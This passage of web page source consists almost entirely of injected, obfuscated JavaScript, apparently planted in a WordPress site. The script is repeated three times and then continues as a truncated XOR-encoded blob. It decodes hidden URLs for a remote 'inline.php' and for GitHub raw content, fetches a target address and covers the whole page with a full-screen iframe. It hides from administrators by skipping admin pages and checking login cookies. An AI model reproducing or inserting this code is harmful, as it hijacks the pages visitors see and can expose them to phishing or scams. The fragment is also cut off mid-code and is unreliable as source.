e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,4